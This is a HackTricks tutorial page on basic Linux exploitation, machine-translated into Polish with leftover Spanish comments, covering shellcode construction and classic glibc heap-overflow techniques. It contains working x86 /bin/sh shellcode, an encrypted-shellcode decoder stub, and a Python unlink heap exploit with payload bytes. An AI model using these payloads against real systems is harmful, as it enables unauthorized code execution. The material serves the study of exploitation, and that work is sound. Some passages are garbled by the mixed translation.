hacktricks/exploiting/linux-exploiting-basic-esp/README.md

33 KiB
Raw Blame History

Linux Exploiting (Basic) (SPA)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

2.SHELLCODE

Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall

nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes

Comprobar que la shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w strace ./SKOMPILOWANY_PROGRAM

Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.

EJ SZTUCZKA (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Użycie ESP z użyciem stosu (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

Eksportowanie Stanu Zawartości Rejestru FPU:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Łowca jajek:

Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.

Shellkody polimorficzne

Polegają na zaszyfrowanych shellach, które mają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto przykład zaszyfrowanego szyfru Cezara:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Metody uzupełniające

Technika Murata

W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff

Analizując jak jest budowany stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, że program zostanie uruchomiony w środowisku, w którym jedyną zmienną jest shellcode. Adres tej zmiennej można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

W ten sposób można łatwo uzyskać adres zmiennej środowiskowej zawierającej shellcode.

Można to zrobić dzięki funkcji execle, która pozwala tworzyć środowisko zawierające tylko te zmienne środowiskowe, które są wymagane.

Formatowanie łańcuchów do przepełnień buforów

Funkcja sprintf przesuwa sformatowany łańcuch do zmiennej. Dlatego można nadużyć formatowania łańcucha, aby spowodować przepełnienie bufora w zmiennej, do której jest kopiowana zawartość.
Na przykład ładunek %.44xAAAA zapisze 44B+"AAAA" w zmiennej, co może spowodować przepełnienie bufora.

Struktury __atexit

{% hint style="danger" %} Obecnie jest bardzo rzadko wykorzystywane. {% endhint %}

Funkcja atexit() to funkcja, do której przekazywane są inne funkcje jako parametry. Te funkcje zostaną wykonane podczas wywołania exit() lub powrotu z funkcji main.
Jeśli można zmodyfikować adres którejś z tych funkcji, aby wskazywał na shellcode na przykład, można przejąć kontrolę nad procesem, ale obecnie jest to bardziej skomplikowane.
Obecnie adresy funkcji do wykonania są ukryte za kilkoma strukturami, a ostatecznie adres, na który wskazują, nie jest adresem funkcji, lecz jest zaszyfrowany za pomocą operacji XOR i przesunięć z losowym kluczem. Dlatego obecnie ten wektor ataku nie jest zbyt przydatny, przynajmniej na architekturach x86 i x64_86.
Funkcja szyfrowania to PTR_MANGLE. Inne architektury takie jak m68k, mips32, mips64, aarch64, arm, hppa... nie implementują funkcji szyfrowania, ponieważ zwracają to samo, co otrzymały jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku.

setjmp() & longjmp()

{% hint style="danger" %} Obecnie jest bardzo rzadko wykorzystywane. {% endhint %}

Setjmp() pozwala zapisać kontekst (rejestry)
longjmp() pozwala przywrócić kontekst.
Zapisane rejestry to: EBX, ESI, EDI, ESP, EIP, EBP
Problem polega na tym, że EIP i ESP są przekazywane przez funkcję PTR_MANGLE, więc architektury podatne na ten atak są takie same jak wyżej.
Są one przydatne do obsługi błędów lub przerwań.
Jednak z tego, co przeczytałem, inne rejestry nie są chronione, więc jeśli wewnątrz wywoływanej funkcji występuje call ebx, call esi lub call edi, można przejąć kontrolę. Można także zmodyfikować EBP, aby zmienić ESP.

VTable i VPTR w C++

Każda klasa ma Vtable, która jest tablicą wskaźników do metod.

Każdy obiekt klasy ma VPtr, który jest wskaźnikiem do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli osiągnięto nadpisanie VPtr, można je zmienić, aby wskazywało na metodę zastępczą, dzięki czemu wykonanie funkcji przejdzie do shellcode.

Środki zapobiegawcze i unikanie

Zastąpienie Libsafe

Włącza się za pomocą: LD_PRELOAD=/lib/libsafe.so.2
lub
“/lib/libsave.so.2” > /etc/ld.so.preload

Wywołania niektórych funkcji niewłaściwych są przechwytywane przez inne bezpieczne funkcje. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla statycznych kompilacji, nie wszystkie niewłaściwe funkcje stają się bezpieczne, a LD_PRELOAD nie działa dla binarnych z ustawionym suid).

ASCII Armored Address Space

Polega na ładowaniu współdzielonych bibliotek od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednakże to nie zatrzymuje praktycznie żadnego ataku, a tym bardziej w little endian.

ret2plt

Polega na wykonaniu ROP w taki sposób, że wywoływana jest funkcja strcpy@plt (z plt), a następnie wskazuje się na wpis w GOT i kopiowany jest pierwszy bajt funkcji, do której chcemy się odwołać (system()). Następnie to samo jest wykonywane wskazując na GOT+1 i kopiując 2. bajt system()... Na końcu wywoływany jest zapisany adres w GOT, który będzie system()

Klatki z chroot()

debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu

Administrator może wyjść z takiej klatki wykonując: mkdir foo; chroot foo; cd ..

Instrumentacja kodu

Valgrind —> Wyszukuje błędów
Memcheck
RAD (Return Address Defender)
Insure++

8 Przepełnienia sterty: Podstawowe exploity

Przydzielony kawałek

prev_size |
size | —Nagłówek
*mem | Dane

Wolny kawałek

prev_size |
size |
*fd | Wskaźnik do przodu do kawałka
*bk | Wskaźnik do tyłu do kawałka —Nagłówek
*mem | Dane

Wolne kawałki są w liście podwójnie wiązanej (bin) i nigdy nie mogą występować dwa wolne kawałki obok siebie (są łączone)

W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru.

Jeśli przy zwalnianiu kawałka którykolwiek z sąsiednich kawałków jest wolny, są one łączone za pomocą makra unlink() i nowy, większy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.

unlink(){
BK = P->bk; —> BK nowego kawałka to ten, który był wolny wcześniej
FD = P->fd; —> FD nowego kawałka to ten, który był wolny wcześniej
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek
}

Dlatego jeśli uda się zmodyfikować P->bk na adres shellcode i P->fd na adres wpisu w GOT lub DTORS pomniejszony o 12, osiągnięto:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

W ten sposób po wyjściu z programu zostanie wykonana shellcode.

Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwsza instrukcja shellcode musi być skokiem, aby ominąć to i przejść do nops prowadzących do reszty shellcode.

Dlatego exploit jest tworzony:

W buforze1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.

Następnie po shellcode dodajemy wypełnienie do osiągnięcia pola prev_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev_size i oznaczyć go jako wolny) oraz “-4” (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, w rzeczywistości przejdzie do zmodyfikowanego prev_size, który wskaże, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3. kawałka, ale w rzeczywistości przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie zostanie wywołane unlink(). Podczas wywoływania unlink() użyje pierwszych danych z drugiego kawałka jako P->fd, więc tam zostanie umieszczony adres, który chcesz nadpisać - 12 (ponieważ w FD->bk dodaje 12 do adresu przechowywanego w FD). Następnie w tym adresie zostanie wprowadzony drugi adres znaleziony w drugim kawałku, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).

from struct import *
import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanej.

W tym przypadku:

W kawałku c umieszczamy shellcode

Kawałek a używamy do nadpisania b w taki sposób, że rozmiar ma wyłączony bit PREV_INUSE, aby myślał, że kawałek a jest wolny.

Dodatkowo, nadpisujemy w nagłówku b rozmiar, aby wynosił -4.

W rezultacie program będzie myślał, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV_SIZE wynosi -4. Będzie myślał, że kawałek "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() na kawałek, który zaczyna się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".

W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()" -12, mamy nasz payload.

Technika Frontlink

Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich kawałków nie jest wolny, wtedy nie jest wywoływane unlink(), ale jest wywoływane bezpośrednio frontlink().

Użyteczna podatność, gdy atakowany malloc nigdy nie jest zwalniany (free()).

Wymagane:

Bufor, który może być przepełniony funkcją wejściową

Bufor sąsiadujący z tym, który zostanie zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu wcześniejszego bufora

Bufor do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor

Bufor zadeklarowany przed krokiem 3, który pozwala na nadpisanie prev_size tego bufora

W ten sposób, nadpisując w dwóch mallocach w sposób niekontrolowany i w jednym kontrolowanym, który jest zwalniany tylko raz, możemy przeprowadzić exploit.

Podatność double free()

Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, powstają dwa biny wskazujące na ten sam adres.

Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć innego, zostanie przypisane to samo miejsce, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zapisze poprzednia rezerwacja.

After free()

Wcześniej zwolniony wskaźnik jest ponownie używany bez kontroli.

8 Przepełnienia sterty: Zaawansowane exploitacje

Techniki Unlink() i FrontLink() zostały usunięte po zmodyfikowaniu funkcji unlink().

The house of mind

Wystarczy jedno wywołanie free(), aby spowodować wykonanie arbitralnego kodu. Warto znaleźć drugi kawałek, który może zostać przepełniony przez poprzedni i zwolniony.

Wywołanie free() powoduje wywołanie public_fREe(mem), które wykonuje:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Zwraca wskaźnik do miejsca, od którego zaczyna się kawałek (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

W [1] sprawdzany jest rozmiar pola bitowego NON_MAIN_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wywołało heap_for_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 najmniej znaczących bajtów (w naszym przypadku z 0x0804a000 robi 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jak do struct heap_info)

W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w 0x081002a0, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład 0x0804a000. Gdy ten drugi kawałek zostanie zwolniony, heap_for_ptr(ptr)->ar_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd wyciąga wartość pierwszych 4 bajtów, ar_ptr)

W ten sposób wywoływane jest _int_free(ar_ptr, mem), czyli _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w kawałku, który zostanie zwolniony.

Zgodnie z definicją unsorted_chunks, wiemy, że:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Dlatego jeśli w av->bins[2] zapiszemy wartość __DTOR_END__-12, w ostatniej instrukcji zostanie zapisane w __DTOR_END__ adres drugiego kawałka.

Innymi słowy, na początku pierwszego kawałka musimy umieścić wiele razy adres __DTOR_END__-12, ponieważ av->bins[2] z niego korzysta.

W miejscu, gdzie znajduje się adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres tego pierwszego kawałka, aby heap_for_ptr() myślał, że ar_ptr znajduje się na początku pierwszego kawałka i z niego wyciągnął av->bins[2] W drugim fragmencie, dzięki pierwszemu, nadpisujemy prev_size za pomocą jump 0x0c i size czymś, aby aktywować -> NON_MAIN_ARENA

Następnie w fragmencie 2 umieszczamy wiele nops i ostatecznie shellcode

W ten sposób zostanie wywołane _int_free(TROZO1, TROZO2) i będzie kontynuować instrukcje, aby zapisać w __DTOR_END__ adres prev_size z TROZO2, który skoczy do shellcode.

Aby zastosować tę technikę, konieczne jest spełnienie kilku dodatkowych wymagań, które nieco komplikują payload.

Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Sprawdzane jest, czy nowe miejsce, do którego się odwołujemy, również odwołuje się do nas.

Fastbin

To wariant The house of mind

Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Gdzie fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

W ten sposób, jeśli umieścimy "fb" w adresie funkcji w GOT, pod tym adresem umieszczony zostanie adres nadpisanego fragmentu. Wymaga to, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max_fast musi znajdować się pod adresem, który zamierzamy nadpisać.

Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av.

Jeśli więc w polu size umieścimy rozmiar 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() zwróci fastbins[-1], który wskaże na av->max_fast

W tym przypadku av->max_fast będzie adresem, który zostanie nadpisany (nie wskaże, ale to pozycja, która zostanie nadpisana).

Dodatkowo musi być spełniony warunek, że fragment sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu to 8, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym fragmencie, na początku trzeba umieścić jump, który trafi w nops).

Dodatkowo ten sam fałszywy fragment musi być mniejszy niż av->system_mem. av->system_mem znajduje się 1848 bajtów dalej.

Ze względu na zera z _DTOR_END_ i niewiele adresów w GOT, żaden z tych obszarów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos.

Innym sposobem ataku jest przekierowanie av na stos.

Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin_index() zwróci fastbins[0] i możemy tego użyć do nadpisania stosu.

W tym celu nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w takim układzie: 4 bajty zerowe + EBP + RET

4 bajty zerowe są potrzebne, aby av znajdował się pod tym adresem, a pierwszym elementem av jest mutex, który musi wynosić 0.

av->max_fast będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.

W av->fastbins[0] zostanie nadpisany adresem p i będzie RET, dzięki czemu nastąpi skok do shellcode.

Dodatkowo, w av->system_mem (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzenie.

Dodatkowo musi być spełniony warunek, że fragment sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu to 16, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym fragmencie, na początku trzeba umieścić jump, który trafi w nops, które znajdują się po polu size nowego fałszywego fragmentu).

The House of Spirit

W tym przypadku chcemy mieć wskaźnik do malloc, który może być modyfikowany przez atakującego (np. wskaźnik znajduje się na stosie podczas możliwego przepełnienia zmiennej).

W ten sposób możemy sprawić, że ten wskaźnik wskazuje dokądkolwiek. Jednak nie każde miejsce jest ważne, rozmiar fałszywego fragmentu musi być mniejszy niż av->max_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego fragmentu musi wynosić 48.

Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, dzięki czemu 48 pozostaje z tyłu, jakby to była nagłówek size). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system_mem.

Jeśli to się spełni, gdy zostanie wywołane kolejne malloc, które powiedzieliśmy, że jest malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.

Prawdopodobnie dlatego, że gdy zostanie zwolnione free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się fragment o idealnym rozmiarze dla nowego malloc(), który chce zarezerwować, więc przypisuje mu ten adres.

The House of Force

Wymagane jest:

  • Przepełnienie fragmentu, które pozwala na nadpisanie wilderness
  • Wywołanie malloc() z rozmiarem zdefiniowanym przez użytkownika
  • Wywołanie malloc(), których dane mogą być zdefiniowane przez użytkownika

Najpierw nadpisujemy rozmiar fragmentu wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w _int_malloc() bez konieczności rozszerzania sterty.

Następnie zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, tak jak stos. W av->top umieszczamy &EIP - 8.

Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim przechwytuje adres bieżącego fragmentu wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli &EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:

0xbffff224 - 0x080c2788 = 3086207644.

W ten sposób zostanie zapisana zmieniona wartość w av->top, a następne malloc wskaże na EIP i będzie można go nadpisać.

Ważne jest, aby rozmiar nowego fragmentu wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na &EIP-8, rozmiar zostanie dokładnie w polu EBP stosu.

The House of Lore

Korupcja SmallBin

Uwolnione fragmenty są umieszczane w bin w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Gdy fragment zostanie zwolniony, nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy fragment i poprzedni zwolniony może mu służyć, zostanie mu zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony fragment z unsorted bins zostanie umieszczony w odpowiednim binie.

Aby dotrzeć do podatnego kodu, żądanie pamięci musi być większe niż av->max_fast (zazwyczaj 72) i mniejsze niż MIN_LARGE_SIZE (512). Jeśli w binie znajduje się kawałek o odpowiednim rozmiarze, zwracany jest po odłączeniu:

bck = victim->bk; Wskaźnik na poprzedni kawałek, jedyna informacja, którą możemy zmienić.

bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos do następnego zarezerwowanego kawałka, zostanie przypisany ten adres.

bck->fd = bin; Lista jest zamykana, wskazując na bin

Wymagane jest:

Zarezerwowanie dwóch malloc, aby można było przeprowadzić przepełnienie pierwszego po zwolnieniu drugiego i umieszczeniu go w swoim binie (czyli zarezerwowano malloc większy niż drugi kawałek przed przepełnieniem)

Zarezerwowanie malloc, którego adres jest kontrolowany przez atakującego.

Celem jest to, że jeśli możemy przeprowadzić przepełnienie na stercie, która ma zwolniony kawałek poniżej i w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk i ten kawałek stanie się pierwszym na liście bin i zostanie zarezerwowany, bin zostanie oszukany i powiemy mu, że ostatni kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na przykład na stosie lub GOT). W rezultacie, jeśli zostanie ponownie zarezerwowany inny kawałek, a atakujący ma uprawnienia do niego, zostanie mu przydzielony kawałek na żądanej pozycji i będzie mógł w nią pisać.

Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, aby zmodyfikowany kawałek wyszedł z nieuporządkowanych binów i został umieszczony w swoim binie.

Gdy już znajdzie się w swoim binie, należy zmienić mu wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.

Następnie bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że uwierzy, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony kawałek, który nas interesuje.

Aby wykorzystać podatność jak najszybciej, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, zarezerwowanie kawałka większego od tego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co naruszony i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.

Aby zabezpieczyć się przed tym atakiem, używa się standardowej weryfikacji, czy kawałek "nie" jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd* fałszywego kawałka wskazuje na victim na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim miejscu adres victim. W ten sposób kawałek wydaje się być prawdziwy.

Korupcja LargeBin

Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512.

Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i wymagane są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby ten rozmiar - nb był < MINSIZE.

Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się liczby bez znaku)

Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.

Rozpylanie sterty (Heap Spraying)

Polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z nops zakończoną shellcodem. Dodatkowo jako poduszkę używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi nopsami, skok zostanie wykonany tam. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby sprawdzić, czy jakiś wskaźnik zostanie nadpisany, i skok do 0x0c0c0c0c w nadziei, że tam będą nopsy.

Feng Shui sterty (Heap Feng Shui)

Polega na ustawieniu pamięci poprzez rezerwacje i zwolnienia w taki sposób, aby między wolnymi kawałkami pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków.

objdump -d executable —> Rozkłada funkcje
objdump -d ./PROGRAMA | grep FUNCTION —> Pobiera adres funkcji
objdump -d -Mintel ./shellcodeout —> Aby sprawdzić, czy to na pewno nasz shellcode i uzyskać kody operacyjne
objdump -t ./exec | grep varBss —> Tabela symboli, aby uzyskać adresy zmiennych i funkcji
objdump -TR ./exec | grep exit(func lib) —> Aby uzyskać adresy funkcji biblioteki (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Wyświetla adres puts do nadpisania w GOT
objdump -D ./exec —> Rozkłada WSZYSTKO aż do wpisów plt
objdump -p -/exec
Info functions strncmp —> Informacje o funkcji w gdb

Ciekawe kursy

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: